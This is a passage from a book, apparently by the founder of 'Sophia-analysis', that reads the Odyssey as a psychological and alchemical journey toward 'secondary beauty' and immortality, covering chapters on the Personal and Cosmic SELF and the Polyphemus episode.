surrounds him, and prepares to leave the womb of this universe and fly towards other universes, as the Cosmic Self wishes him to do. Poseidon with his trident is the symbol of the phallic mother who believes she has the right to life or death over her children. How can one not hate this type of mother, and worse, how can one not adopt the defense mechanism of identifying with the aggressor? But we cannot build life on hatred and on defense mechanisms. They hold up for a while and then fall to pieces. Life must be based on love and not on hatred and guilt. Ulysses manages to solve the problem at its core. For ten years, he travels by sea so he can meet the monsters created by repressed hatred. After that, he travels by land until he finds complete forgiveness, radical forgiveness. Forgiveness towards others and towards himself. Forgiveness towards his mother and towards himself for having hated his mother for so long. Finding total forgiveness means creating concordance between the conscious I and the unconscious I. In this manner, there is peace and serenity, the beauty of life and, if there is concordance between an I and a You, between an I and Others, between an I and the Cosmos,
34
there is secondary beauty. Ulysses finds it, and because of having found it, he ages happily. When, during the massacre of the Suitors, we see Telemachus beside Ulysses, we see not only a son who is fighting alongside his father. We also see Ulysses fighting alongside the Cosmic Self. He is fighting to overcome the limitations that the laws of physics have assigned to this universe and thus allow Life as it exists in this universe to fly off, now in immortal form, towards new universes. It is a bit like what happened in remote times, when life, which had developed in the oceans in vegetable and animal form, took an impossible flight, and invaded the yet unexplored spaces of earth and sky. Ulysses with his powerful bow is a symbol of Life, who shoots an arrow with absolute precision through the twelve axes, one after the next. It is the arrow of the living organism that is the cosmos we live in now, but in which we are not destined to remain forever, if we pass through all the rings of biological and artistic spiritual evolution. This means becoming one with Life and one with the Cosmos. It is not the mystical feeling of being one with the One and of losing oneself in the oceanic joy this fusion offers, but of completely and humbly dedicating oneself to the creation of secondary beauty, which is the goal of Life. Only through this type of creativity, can Life become both eternal and immortal in a new life form. Because life is eternal, because it flows through time eternally, but it is not immortal, because it must always die and be reborn, by passing from one form to another. This new form of life is a constant blending of being and becoming, and it no longer has to die or to suffer. It is a form of life that is a constant fusion of opposing values, of truth, love, freedom and beauty. This is the supreme work of art that the combination of human and cosmic forces can create. This is the mystery of the art of the great masters as far as we know today; this is the mystery of the next type of possible artistic adventure, that gathers its vital impetus from humanity’s nagging desire to become immortal (see A.M. Theorems and Axioms of Cosmo-Art, Published by Sophia University of Rome, 2009). Dante acknowledges Ulysses as a master of “virtue and knowledge”, but does not understand the true nature of his “mad flight”. In Dante’s time, though, the whole text of the Odyssey was not yet available in the West. In addition, Christian mythology also deeply influenced Dante, which
35
was based on the ideologies of Aristotle and Plato, where the universe is seen as a closed system with nothing beyond it. *****
36
CHAPTER VI
THE SYNTHESIS OF OPPOSITES, BEAUTY AND IMMORTALITY
Every transformation of the global I is a death that has been overcome. Every passage from one dimension of the global I to a higher dimension brings the death of one identity, so that a new one, superior to the former, can emerge. With every death that Ulysses must face so he can transform himself, Ulysses creates beauty and begins accumulating it within himself. This happens at every death that his fetal I undergoes, which holds so much power over him and which does not allow the Artistic Self to emerge; it happens with every death of some part of his animal instincts, based on thievery and violence, that Ulysses has carried within himself since the day he was born. This type of beauty is immortal, because it springs from Ulysses’ emerging ability to continually synthesize pairs of opposites, as well as from his having been able to face death. At times the necessary synthesis is of death with life. Others it is the synthesis of love and hatred to create loving strength. At yet other times it is the synthesis of the I with the Personal Self, symbolized by Athena; at times it is the synthesis of the I with the Cosmic Self, represented by Zeus. And sometimes it is the synthesis of the I with a You, of the masculine with the feminine, represented by the various female personages that Ulysses encounters along his way and that are always positively transformed by their meeting him. By continually synthesizing opposites, Ulysses acts as an artist who transforms his own life into a work of art. It is a work of art that contains immortal beauty, which at times is visible to the eye, but often is only visible to the eyes of the heart. Homer narrates that this beauty can appear suddenly in all of its splendor with a simple touch of Athena’s grace. Or, it can be hidden, like when Ulysses disguises himself as a beggar, if that is what Ulysses must do to face the Suitors and Penelope. This beauty can emerge while he tells the tale of his adventures by sea that so enchant the Phaeacian queen and king, princes and princesses.
37
The Phaeacians decide to load him up with gifts and, even more surprisingly, they decide to take him to Ithaca on their fastest boat, disobeying Poseidon’s prohibition, knowing very well that he – their father – will punish them for doing so and turn them into a block of stone. (Od. XIII, 155-158) This beauty makes Ulysses immortal. It keeps him alive forever, capable of generating new life, today and for eternity. All the other Greek heroes are vague shadows when compared to him. They are shadows who cry over the lives they once had because they do not know how to take advantage of their loss and transform it into a work of art, as Ulysses manages to do. Homer makes this clear when he speaks of Ulysses’ descent into Hades. (Od. XI) There, Ulysses, who is alive and who came into Hades as a living man, watches the shadows of thousands of those who lived in the past (Agamemnon, Achilles, Patroclus, Ajax - who even dead refuses to forgive - and many other men, women and semi-gods) parade before him. This is Homer’s ingenious way of telling us that Ulysses has conquered a type of immortality that the others do not have, and that by descending into Hades he has also understood deep truths about himself. He has done so by reflecting on the destinies of those who went before him, on life and the world. Ulysses became immortal not because he went up to Mount Olympus like Heracles, a Greek hero who became a semi-god but whose shadow is also in Hades. He did not achieve immortality because he died in battle and was covered in glory like Achilles, who in Hades cried over his loss of life. He became immortal because he faced many internal deaths. He passed from the fetal and animal dimension of intrauterine life, which imprisons every human being even until well after birth, to the artistic dimension that straddles the confines of this universe and can navigate from one universe to another, into eternity. Ulysses became immortal not because he received immortality from the gods but because he built it himself, with his pain, his wisdom and his art. Ulysses is immortal because he will live forever in Homer’s verses. He is immortal because he lives in the works of art that were created after Homer and which mention him. He is immortal because he has become an archetype in the collective unconscious of humanity. He is immortal because he has become an integral part of the cosmic consciousness of this universe and he has the ability to travel within not only this universe, but also to other possible universes that today we are not yet aware of.
38
CHAPTER VII
AN OUTLINE OF ONE POSSIBLE VIEW OF THE ODYSSEY AS AN ALCHEMICAL PROCESS WITH A COSMIC PURPOSE
THE FUNDAMENTAL STEPS OF THIS PROCESS ♦ The theme of wisdom is introduced in the proem: Zeus offers wise advice to everyone. Those who receive it are free to accept it or reject it. The theme of pain is also introduced: Ulysses is the man of a thousand woes. The theme of the laws of life is introduced as well (those who act “against duty” will die as a result of their folly). Wisdom, pain and art are indispensable in the realization of a cosmic goal. ♦ The cosmic goal is laid out through Telemachus’ actions: to pass from the maternal dimension to the paternal one, even at the risk of one’s life, and thus to create immortal beauty. The Suitors, who have an arrogant heart, must be faced and destroyed. ♦ Through his life experiences Ulysses revisits the internal monsters that have been living within him since the time of his prenatal life and he wisely faces the immense pain that they cause. The internal monsters: - The devouring mother and the complicity of the fetal I to allow itself to be devoured (devouring mothers : Polyphemus, the Laestrygonians, Scylla and Charybdis, the Suitors). - The seductive and castrating mother (Circe the enchantress). - The incestuous mother and the seductive pleasure of intrauterine incest (the Sirens and Calypso). - The phallic and assassin mother (Polyphemus, Poseidon, the haughty Suitors who enter Ulysses’ house with Penelope’s unconscious complicity). ♦ Ulysses revisits the five poisons that dwell within human beings and hinder the development of wisdom and the creation of new beauty: - Hybris and rage (Ulysses gives ample proof of both of these in the way he acts with Polyphemus, but the best representatives of these poisons are the Suitors, where the Suitors are expression of Ulysses as well).
39
- Repressed hatred and the homicidal impulse (without acknowledging the hatred that we have repressed since our intrauterine experience we cannot completely comprehend Poseidon’s hostility towards Ulysses, nor can we understand the “last trial” of the journey by land and sea that Teireisias orders Ulysses to undertake once he has returned to Ithaca). This journey is very similar to the one that for centuries pilgrims have made to San Juan de Compostella (Finis Terrae). - Greed and the existential lie (in Ulysses’ decision to devour the sacred cows of the Sun god on the island of Trinachia his own greed, as well the greed of his companions, is evident). - Envy and the suicidal impulse (Ulysses combats both of these in the episode of the bag of winds). - The infinite, arrogant demands of the fetal I (the Suitors are excellent representatives of these and since they have forcibly taken over Ulysses’ and Penelope’s home it is not difficult to understand how they really belong to the two of them and to their own personal history). ♦ ULYSSES’ LANDING ON THE PHAEACIAN ISLAND. - Ulysses celebrates the recovery of the “beauty of life” that he had lost because of the trauma he suffered during his intrauterine experience. - When he meets Nausicaa, Ulysses clearly formulates the cosmic goal that human beings are entrusted with for the first time: the creation of “glorious concordance” or the type of immortal beauty that is the result of a synthesis of opposites, the fusion of man and woman in a single soul. - Ulysses easily detaches himself from the “primary beauty” that Nausicaa represents so he can go on and create a superior type of beauty with Penelope. ♦ ULYSSES LANDS AT ITHACA - With Athena’s help, Ulysses prepares for the massacre of the Suitors by accepting to transform himself into a beggar. He thus completes the transformation of his arrogant heart into a humble heart. - Ulysses shoots an arrow through twelve axe rings placed in a row. This action represents the evolution of his life and of Life itself, which constantly passes from one identity to another, from one birth to another, from one universe to another. - Ulysses massacres the Suitors with the help of Athena, Telemachus, Eumaeus and Melanthius, as was announced in the beginning of the poem. - Ulysses manages to transform Penelope and her heart of stone into a woman who recognizes and loves him. With her, he accomplishes the “glorious concordance” that is the symbol of secondary beauty or immortal
40
beauty. Homer dedicates 12 out of 24 chapters to describe this process, which is the central theme of the poem. ♦ ULYSSES leaves for the journey that Teireisias tells him he must take, a journey to the ends of the earth. Penelope, who is now a single soul with her spouse, consents to this without feeling abandoned. ♦ ULYSSES completely makes peace with Poseidon and with all the gods. This is the full achievement of cosmic harmony and of the fusion of the I with the Cosmos. This is the completion of the cosmic goal. Now Ulysses can live out a peaceful old age while he waits for a gentle death that will come to him while he is at sea. ***** Another way of outlining the process could be: FIRST THEME: The search for beauty and immortality using wisdom, pain and art; SECOND THEME: The search for self knowledge and deep inner truth; THIRD THEME: The extermination of the Suitors and the conquest of Penelope’s heart to create the “glorious concordance”. ***** We will go further into depth on the five poisons from chapter 21 on; now I would like to say something about alchemy. The history of alchemy stretches across thousands of years and it has existed throughout this time, in various forms and languages, on all five continents. The best interpretation of it that I have found in modern terms is in Carl Gustav Jung’s book “Psychology and Alchemy”, which I recommend to those readers who want to explore this topic in greater depth. The more common notion is that of the alchemist who works day and night to try to transform lead into gold, but Jung looks at this as a symbol that instead is speaking of a much more important transformation, the interior transformation of human beings. The height of this transformation is reached through the “coniunctio oppositorum” {union of opposites} or by the synthesis of opposites, and in particular through the synthesis of the masculine and feminine principles within each man and woman and in the male-female couple.
41
Classic alchemy describes this process of transformation in four stages, often called black, white, red and green. Here it is important to read the Cosmo-Artistic interpretation of the film “Swept from the Sea” written by Toto Saporito and published in the book “I Laboratori Corali di Cosmo-Art”, {The Cosmo-Art Choral Group Laboratories} published by Sophia University of Rome, 2006. The type of alchemy Homer proposed is much simpler. Everyone can understand it. There is a higher power that organizes the life of the Universe and the life of human beings, which are at one with the Universe. The Universe is a single living organism. This higher power has nothing to do with the god of the philosophers or the god of the theologians. Homer calls this higher power Zeus. I have translated this with the name Cosmic SELF but the name is only a linguistic convention. Between this higher power and every single human being there is continual communication through the transmission of wise suggestions that humans can either listen to or refuse to listen to. In his poem, Homer illustrates this communication through Athena and Hermes’ actions in favor of Ulysses, Telemachus and Penelope. Athena and Hermes were well known figures to the readers of Homer’s time. This is no longer true today and I have translated both their names with the name of Personal SELF. The line of communication between the Personal SELF and the Cosmic SELF is always open (i.e. Athena’s , Hermes’ and Zeus’ intervention) , but if the human global I is not taught how to participate in this dialog (see chapter XXIII in “The prayer of the Ulysseans” it will be difficult to perceive it correctly. Homer says that Zeus gives “trials” to those that he has chosen to undergo the alchemical process, in various ways through their life experiences (Od. I, 18 and Od. XXIII, 248). These experiences seem random, but they are not. Ulysses is a very patient and courageous man. Pain does not frighten or discourage him but often, during every test, first he rebels against it and then he finally says yes. This is human and just. There is no hypocrisy here. What counts is to reach the goal and the goal is the “coniunctio oppositorum” {union of opposites} that Homer calls “glorious concordance” (Od. VI, 181). He reaches this in full at the end of the poem, after the trial with the bow and arrow and after the massacre of the Suitors. Ulysses and Penelope make love on a bed carved from the trunk of an olive tree (a symbol of peace and harmony) after they were separated for twenty painful years; they are the symbol of the obtained concordance.
42
This concordance was possible only between Ulysses and Penelope and not between Ulysses and Circe and Calypso or Ulysses and Nausicaa, as happens in other versions of the myth of Ulysses and that Homer did not utilize in his poem. Concordance is not an end in itself, nor does it belong to the individuals that manage to create it. The type of immortal beauty that it produces serves to create the immortal soul of the Universe and of those who have dedicated their lives to this goal. Ulysses does not journey alone, he journeys for the whole Universe. *****
43
CHAPTER VIII
ULYSSES ACCEPTS ZEUS’ REQUEST TO CREATE NEW BEAUTY BY EXTRACTING IT FROM WISDOM, PAIN AND ART
The sometimes painful and sometimes pleasurable decisions that Ulysses makes during his voyage are: To reach the goal of recuperating lost beauty (the landing on the island of the Phaeacians) and of creating a new type of beauty (the encounter between Ulysses and Penelope after the massacre of the Suitors). To bring about the fusion of the I Person and the SELF through prayer-dialogaction (the continual fusion with Athena). To relive and accept the most complete powerlessness so he can acquire the power that comes from doing so (more than once he experiences the most complete powerlessness, so he can extract power from powerlessness). To hurt himself rather than hurt others (he enters his own home as a beggar so he can destroy his own arrogant demands as well as Penelope’s). To achieve the “glorious concordance” and through it immortality, by fusing his I with a You and his I with the Cosmos. To center himself on the cosmic axis (he grabs on to the fig tree to save himself from Charybdis’ whirlpools). To fuse together pain, wisdom and art (Ulysses is a man of many woes and his heart is “accustomed to suffering”; he is the man who wisely listens to the advice Zeus sends to him, contrary to what his mad companions and Aegisthus does; he is cunning and knows the art of patience in transforming himself and others) so he can create a type of beauty that does not yet exist and that both he and the whole Universe need. rages around him, which is the only thing he has to hold on to; he risks losing his life many different times. His acceptance of all this is described numerous times throughout the poem.
I will not look at these various themes in the order outlined above. I like writing by following the experiences I am living through and the inspiration I have at the time I am writing.
44
This most certainly will result in a repetition of the themes I am examining, but each time I hope to add something new. *****
45
CHAPTER IX
THE FIRST ULYSSES AND THE SECOND ULYSSES
I have recognized in Homer’s Iliad and Odyssey the best possible images to illustrate the type of progression found in Sophia-analysis, Sophia-Art and Cosmo-Art as well as their fusion into a theoretical whole. Therefore, in the following chapters I will try to penetrate in depth into the character and the myth of Ulysses. To comprehend Ulysses as nature made him, a man who based his life on theft and on violence, one must read the Iliad. To understand how Ulysses transformed himself and created secondary beauty for both himself and for others, one must learn to read the Odyssey. With one specific warning. Most of those who have admired Homer, from Dante Alighieri to modern times, have always seen Ulysses as a man who hungered after knowledge, but also as a man who continually defrauded and deceived others. According to this view, knowledge and deceit can easily go together. This implies that Ulysses hungers after knowledge but not after truth. For this reason, Dante Alighieri, in his “Divine Comedy”, condemns Ulysses to the inferno, after having him die at sea during a storm that overcomes him while he is trying to sail pass the columns of Hercules. No other commentator has viewed Ulysses as “the man of many woes”, a man capable of transforming himself and others and of creating a new type of beauty (Homer mentions Ulysses’ suffering 59 times throughout his poem). No one has viewed him as a man who, in continual dialog with Athena, the goddess of wisdom, makes his life into a work of art and creates beauty for himself and the whole world. (In the Odyssey, Athena intervenes on Ulysses’ behalf 48 times and Ulysses calls on Athena 12 times). Through constant, attentive reading of the Odyssey, and with the help of Sophiaanalysis, Sophia-Art and Cosmo-Art, I have begun to see Ulysses as a mythical man and as an artist of his life, and I want to take him as a role model for my own life. When Homer speaks of the Ulysses who assaults the Cicones (Od. IX, 39-61), he is referring to the first Ulysses, who is a predator. He has already received a
46
conspicuous booty with the fall of Troy, but this is not enough for Ulysses’ greed: he wants more. The Cicones win the battle and Ulysses must run away. When Homer describes the Lotus Eaters (Od. IX, 85-104), and Ulysses’ companions who fill themselves up with drugs, he is referring to Ulysses’ refusal to be born and to grow up. Drugs are like a uterus, and there are many who do not want to leave the maternal womb. Earth is also a uterus, and there are many who do not want to grow up and leave this Earth to explore new universes. This is the first Ulysses. When Homer talks about Ulysses who drags his drugged companions back onto their ships, he is referring to the second Ulysses, the one who wants to affirm his decision to be born and to grow up. When Homer tells about the Ulysses who does not want to leave Circe’s bed for a whole year (Od. X, 135-475), he is referring to Ulysses’ fetal I, that wants nothing to do with leaving the uterus and being born. He does not want to die nor does he want to achieve immortality, as defined by the laws of life and in accordance with the goal of the cosmos. When, instead, he tells us how Ulysses decides to leave and to face first a descent into Hades and after that the Sirens, Scylla and Charybdis, he is referring to the second Ulysses, to his adult I that decides to be born and to face life, pain and death, with wisdom and art. When he speaks of the Ulysses entrapped in Calypso’s palace for seven long years (Od. V, 13-224), he is again referring to the conflict that exists between Ulysses’ fetal I and his adult I. The first does not want to leave the womb and the second wants to sail on the open sea to return to Penelope, and create with her the “glorious concordance”. The first Ulysses is a predator, and there are many of those around today. The second Ulysses is an artist, who knows how to create immortal beauty. *****
47
CHAPTER X
THE PACT TO CREATE BEAUTY
Before reading the Iliad it is important to know about something that happened before the events described in this poem and that Ulysses played a very interesting role in. The Achaean princes are all in love with Helen (the search for primary beauty), who in those times was considered to be the most beautiful woman in the world. They all go to Sparta with hopes of being chosen to marry her. Tyndarus, Helen’s father, is undecided who to give her to, because he does not want any of the Greek princes to be offended. He is unable to find a solution to this dilemma. At this point, Ulysses intervenes by making a proposal that solves the problem: Helen, and not her father, will choose whom she wants to marry, but all those who are not chosen will make a pact. They will swear they will all run to Helen’s aid should she ever be defiled in any way. Helen chooses Menelaus and the princes make their pact. When, some years later, Paris, the Trojan prince, kidnaps Helen and takes her off to Troy, the Greek princes are called to honor their pact. They form a great army and they go to Troy to get Helen back. While keeping in mind that here we are dealing with a myth and not history, we can attempt to read into what the myth is telling us on a deeper level and try to understand its meaning. Helen is the most beautiful woman in the world. This means that she is an absolute symbol for beauty. But what kind of beauty are we talking about? Most certainly we are dealing with primary beauty, or in other words with the beauty of life, but we are certainly not dealing with secondary beauty, the type of beauty that never dies. A woman’s beauty is subject to the onslaught of time and death, which at some point come and take it away. Today the kidnapper is Paris, but tomorrow it will be death itself. What can a man do to attempt to save the beauty that life gave him and that his heart so desperately wants to win over from death?
48
The Greek princes make a pact. They swear among themselves that they will defend beauty even at the risk of their own lives. This is the first time we ever hear about a “pact between men for the protection of beauty”. It had never happened before, and it will never happen again. Ulysses proposes the pact and he does obtain one result: Helen will end up returning to Sparta, but for how long? With the help of Ulysses’ cunning, the Greeks conquered Troy and broke through its high walls. Menelaus gets Helen and her beauty back, but this is an ephemeral solution. It will not last and it is not forever. We cannot definitively solve the problem of how to make sure there is beauty in our lives with cunning and deceit, nor with the use of weapons. Ulysses understood this when he proposed to make the pact and, in fact, when the Greek princes come to Ithaca to ask him to live up to it and come with them to Troy, he pretends he is crazy and does not want to leave. He leaves only because he is forced to do so (see the Encyclopedia of Greek Mythology). After ten years of war and an uncountable number of casualties on the battlefield, Troy is destroyed and the Greeks leave to return to their homes. Ulysses, however, knows that the true problem has not been solved, or it has been solved only partially. He knows that other ways will have to be explored that are different from war, cunning and deceit, even though he knows these can be very useful tools. He knows that it will take something that is not centered on primary beauty, that is here today and gone tomorrow. He will have to look for and create another type of beauty, one that is immortal and not temporary, one that is safe from death and that saves those that know how to create it from death as well. This type of beauty can be obtained only through artful action. In fact, art has the power to transform the essence and the existence of that which exists in the temporal dimension, so it can pass to an atemporal dimension. This atemporal dimension crosses present time and future time, and becomes eternal. The artists we are familiar with and appreciate applied this power to the works they painted, sculpted, wrote or sang. Ulysses applies this power to his life and to the life of others and this is the goal of Cosmo-Art. Ulysses knows that the gods are immortal by their very nature, but what can human beings do to become immortal? Ulysses leaves for Troy with this question in his mind. He is in no hurry to return to Ithaca. To the contrary, he does not want to return until he has found the secret to immortality.
49
There was another king in ancient times that shared this same burning desire and that travelled tirelessly by land and sea in search of it. This king was Gilgamesh, but he did not leave an example that can be followed; Ulysses, and Homer for him, did. This example is amply described throughout the Odyssey. Alchemy is something found in all world cultures. It has its own specific language, and it also is described with other languages that are more appropriate for certain peoples. I believe that Homer’s language is an alchemical language. My discourse on secondary beauty and on immortality is one that in substance is very similar to alchemy, even though it offers an alternative path that is comparable to an existential artistic one. This path is accessible to everyone and not to just an elect few. This is also true of the Odyssey. Just as Jung unveiled the deeper meaning of alchemy, my goal is to do something similar by exploring the myth of Ulysses. I have asked myself many times why Ulysses chose an assassin for a wife. That is exactly what she is, even though a legend has been created around her as being wise and faithful. The only difference between her and Clytemnestra lies in the fact that the latter manages to actually kill her husband Agamemnon, whereas Penelope does not succeed in doing so, even though her plan to have Ulysses and Telemachus murdered was ingenious. I can answer this question in the following manner: - Ulysses’ mother was an assassin who tried to kill him when he was in the process of implanting in her uterus, because he was the fruit of a guilty action (see page 100). Trauma experienced during prenatal life always comes back during later life outside the womb, and must be faced and dealt with creatively. Homer speaks of these attempts at abortion metaphorically, when he describes Ulysses’ repeated failure to land on the island of the Phaeacians. He there describes all the abysmal pain that Ulysses still carries within himself But as soon as he got within a shout’s distance, he heard the roar of the sea against the rocks: the swollen waves howled over the sand banks, spitting fiercely: the seafoam covered everything. …
50
that scream and roar and only one naked stone wall rises up out of them; and there the sea is deep, I cannot stand and walk my way out of this trouble. I’m afraid that I’d be thrown against the rocks as I tried to get out by the strong current gripping me: and then my efforts would be in vain. And if I swim further along, to see if I can find level beaches and inlets, I’m afraid the storm would pick me up again and drag me out to the fish-filled sea, screaming in agony, or that some god would send some huge monster against me from the abyss, just like the great numbers that glorious Amphitrite nurses: I know how much the great Enosichthon hates me...” While he was thinking this in heart and soul,. And thus he managed to avoid the wave; but again the undercurrent grabbed him violently and threw him far out to sea. Like when you pull an octopus out of its den, a thousand little stones are stuck to its tentacles, and this is how his brawny hands grasped the rock and had their skin pulled off: a huge surge submerged him. And poor Odysseo would have died despite his fate, had not blue-eyed Athena inspired him to be careful. When he came out from under the wave – while others still bashed against the shoreline – he swam along the coast, an eye always trained on land, looking for solid beaches and inlets. (Od.V, 400-440). - Having come face to face with death while still in the womb, Ulysses will have wondered for a long time about the meaning of life and why death exists. He will have felt a very intense desire to find a pathway to immortality. Most certainly during the seven long years Ulysses spent on Calypso’s island he will have reflected at length on these topics. When the goddess offers him immortality if he marries her, just as Circe did before, he politely refuses, because he already knows how to create immortality through his own efforts. - No one can create immortal beauty until they have faced death and have transformed it into life. By transforming a woman who is an assassin into a woman capable of loving, an authentic work of art is created, one that transforms death into life and hatred into love. *****
51
CHAPTER XI
THE BEAUTY OF LIFE
Now, let us put secondary beauty aside for a moment and concentrate on the “beauty of life”. When I speak of the beauty of life, I am referring to the type of beauty that almost everyone receives while in the womb and that we generally manage to preserve during childhood. Then, at least in the Western world, this beauty disappears. All around us, we see an ever-growing number of young people who are sad and anxious and who turn to alcohol and all kinds of drugs in ever-increasing numbers. Eventually they cannot live without them. Sophia-analysis asserts that while it is true that we learn to appreciate the beauty of life while still in the womb, during this time this beauty already comes under attack by numerous traumatic experiences and a huge amount of hatred. We accumulate this trauma and hatred inside ourselves against those who were often involuntarily the cause of them, most often our parents. The suffering caused by these traumas sometimes becomes evident at birth and sometimes it incubates for a period of time, skipping over childhood. It then explodes in all its violence and life becomes an infernal labyrinth that hides a frightening monster that continually devours us.
Freud calls this labyrinth the “repetition compulsion”. Is there any hope to get out of this labyrinth? Freud does not think there is, because according to his reasoning, Thanatos (the death instinct) is stronger than Eros (the life instinct) and Thanatos will always win in the end, since we are all destined to die. Sophia-analysis, instead, believes that it is possible to break out of it and that the myth of Ulysses is an ironclad argument against Freud’s radical pessimism. The main question that humanity faces is not the silly riddle that the Sphinx challenges Oedipus with but is rather this other: who is willing to go through what Ulysses went through in the course of their own life?
52
Ulysses’ path is not a repetition compulsion, nor does he get lost in the labyrinth to wind up in the jaws of the monster, as often happens as a result of repressed hatred or the will to vindicate oneself. It is, instead, a path that goes through the labyrinth to once again experience all of the pain contained there, and untangle the hatred that lies below this pain. This can be accomplished with the constant help offered by Athena, that is, by one’s own inner wisdom (see A.M. “Amore, libertà e colpa” {Love, Liberty and Guilt} Second Edition, Sophia University of Rome 2000). By the time the journey is over, Ulysses manages to reconquer lost beauty (as Helen was brought home again). He is also able to not only have Penelope again (and thus reconquer the beauty of life) but to create with her a new type of beauty, a new relationship that can defy death forever. At this point, many will find the question arises: I once had the beauty of life but then I lost it and I can’t seem to find it again; is there a way I can get it back? (Here we are not talking about the search for lost time but of the search for lost beauty, because without it there is no pleasure in living). I can respond to this question by saying that yes, a way does exist and it is the same one that Ulysses followed during his journey to return to Ithaca from Troy.
There is one substantial difference: during his prenatal experience, these traumas were for the most part perpetrated upon him and he mostly processed them in a passive way that was inadequate and incomplete. During prenatal life, we all have to revert to massive defense mechanisms such as repression and splitting, to avoid being overwhelmed by pain or rage or the homicidal or suicidal drives that would have caused a spontaneous abortion. We had to act with cunning and concentrate a year’s time in the space of a month or a day so we could resist the temptation offered by the seductive and devouring mother and avoid winding up enmeshed with her for the rest of our lives. It is as if we must freely make a profound decision to face today what we could not face then. We must be willing to process an overwhelming amount of seemingly infinite pain and a limitless amount of hatred towards oneself and everyone else; we must also deal with an immense amount of pleasure, which is a product of intrauterine incest and which can keep us imprisoned our whole lives and force us to be simply listless consumers of life. *****
53
CHAPTER XII
THE PERSONAL SELF AND THE COSMIC SELF
The Personal SELF is a center of wisdom found within every human being. It is a center of wisdom and of love that contains our purpose in life. This purpose is in harmony with the Cosmic SELF and with Life. The Cosmic SELF is the higher power that regulates the universe as a single living organism. In the Odyssey, Athena represents the Personal SELF and Zeus represents the Cosmic SELF. The Cosmic SELF is like a deep, spiritual center that is at one with our being (both psychological and physical) and inhabits it in every part. It continuously works to keep all our parts integrated and unified, rather than letting us split up in opposing components. It is like the human I Person that gives a purpose to life. This purpose is to elevate and improve the life that one has received, making it grow from an inferior dimension to ever-higher ones. Just as the I Person is present in all the cells of the body, the Cosmic SELF is present in the Personal SELF of every single human being and from there radiates out to every cell. For this reason in The Theorems and Axioms of Cosmo-Art, (published by the Sophia University of Rome, (S.U.R.), 2009) I wrote that every human being is a child of Life (that is the Mother), and of the Universe (that is the Father). Life creates the Cosmic SELF of the universe that we belong to, and the Cosmic SELF assigns to each human being their Personal SELF. The Personal SELF speaks to us from within, like the “daimon” that told Socrates what was right and wrong. The Cosmic SELF speaks to us from outside ourselves and also from within. In fact, it is both within us, in the deepest part of ourselves, and outside of us. We are a part of it and within it we move and act, carrying out both our own individual purpose and its greater purpose. Just as Telemachus makes a journey to encounter his father Ulysses, when he travels to Sparta inspired and helped by Athena (described in the first four Books of the Odyssey), Ulysses makes his own journey to encounter the Cosmic SELF, the Cosmic Father. Homer dedicates the other twenty books of his poem to this journey.
54
I have lived my life by maintaining a constant dialogue with my Personal SELF and this is how I have come to know of the existence of the Cosmic SELF. Homer describes how Athena is in constant contact with Ulysses. On the beach of Ithaca Athena tells Ulysses: whenever you face danger I am near you and I save you, and I made all the Phaeacians love you. Now I have come to make plans with you – [ against the Suitors] (Od. XIII, 301-303) Sometimes Athena’s intervention is enough to help Ulysses and other times Athena goes to Zeus first so she can get the help Ulysses needs. Zeus responds at least twice by sending the god Hermes: once when he must save Ulysses from the spells of Circe the enchantress, and another time when he must tell the goddess Calypso to let Ulysses leave her island. It seems right to me to identify Athena with the Personal SELF and Zeus with the Cosmic SELF. Zeus is powerful but he is not omnipotent and he also must keep in mind that Poseidon is hostile towards Ulysses. Athena is not omnipotent either, and she cannot keep Ulysses from suffering many woes and from the pain that continually strikes Ulysses during his life. When I ask myself why Zeus and Athena are so interested in Ulysses’ life I can find only one answer: the Cosmic SELF and the Personal SELF have a specific purpose in mind and it is not only for Ulysses’ good, it is for the good of the whole universe. This purpose, as Cosmo-Art suggests, is the creation of secondary beauty, a beauty that never dies. Human beings need this beauty, and the whole universe, that is a single living organism, needs it to go from mortal life to immortal life. Only the fusion of cosmic forces (divine forces) with human forces can fulfill this purpose. Ulysses cannot fulfill it by himself, nor can Zeus and Athena. Human life begins with biological birth and ends with biological death. In the same way, the life of the universe began with the Big Bang and, very probably, will end with the implosion of a Big Crunch. However, if during the interval between the birth and death of both humans and the universe, and whether it be long or short, humanity and the universe can create a new life form that is superior to biological life and superior to life as
55
regulated by the laws of physics, we will finally be able to see what the meaning of human life might actually be, as well as the meaning of life of the universe. Most certainly, this happens during the lifetimes of those artists who have managed to create immortal works of art. Now what must happen is to bring Art into the life of humanity, as a power that any human being can utilize in connection with the life of the cosmos. Life has always evolved and has always created new life forms that did not exist previously. Thus, it can also happen that an immortal life form can be created from a mortal one. This is what happens when secondary beauty is created. *****
56
CHAPTER XIII
THE INTERNAL MONSTERS
Polyphemus the Cyclops Ulysses and some of his companions go into the cave of Polyphemus, which is full of milk and cheeses. The cave is like a womb, rich with precious substances that nurture the development of a fetus. The cave of Polyphemus is dark, and it frightens Ulysses’ companions, who beg him to take the food and get out as fast as possible. Ulysses, instead, insists on staying until the Cyclops returns, believing that he will obey the rules sacred to the Greeks, which dictate that guests must be treated with the utmost hospitality. Ulysses has no idea what to expect, but in his heart, he knows he wants to understand and re-experience what is buried in the unconscious memories of his intrauterine life. He knows he must do so to recover lost beauty and to be able to create new beauty. Unless we re-experience our traumas and all the pain they contain, in a dialectic and creative manner, we cannot do either the former or the latter. This is why his unconscious wisdom encourages him to get himself into a tragic situation, even though his companions warn him of its danger. At this point, a monstrous giant with only one eye appears, who could care less about the laws laid down by Zeus, and begins to devour Ulysses’ companions, two at a time. By meeting Polyphemus, Ulysses encounters the possessive and devouring mother (who already resides in his factual unconscious, but he is unaware of this). This is the monster mother that wants to feed on her own children and devour their lives, sending them to their deaths instead of encouraging them to go forward into life. She has only one eye: she only sees her own needs and has neither consideration nor respect for her children. There are an infinite number of types of devouring mothers and I have met many of them. Meeting them means meeting pain and the anguish of death. “Bear with me, heart, more atrocious pain you suffered the day the undefeatable, crazy Cyclops ate my happy companions”.... (Od.XX, 18-20)
57
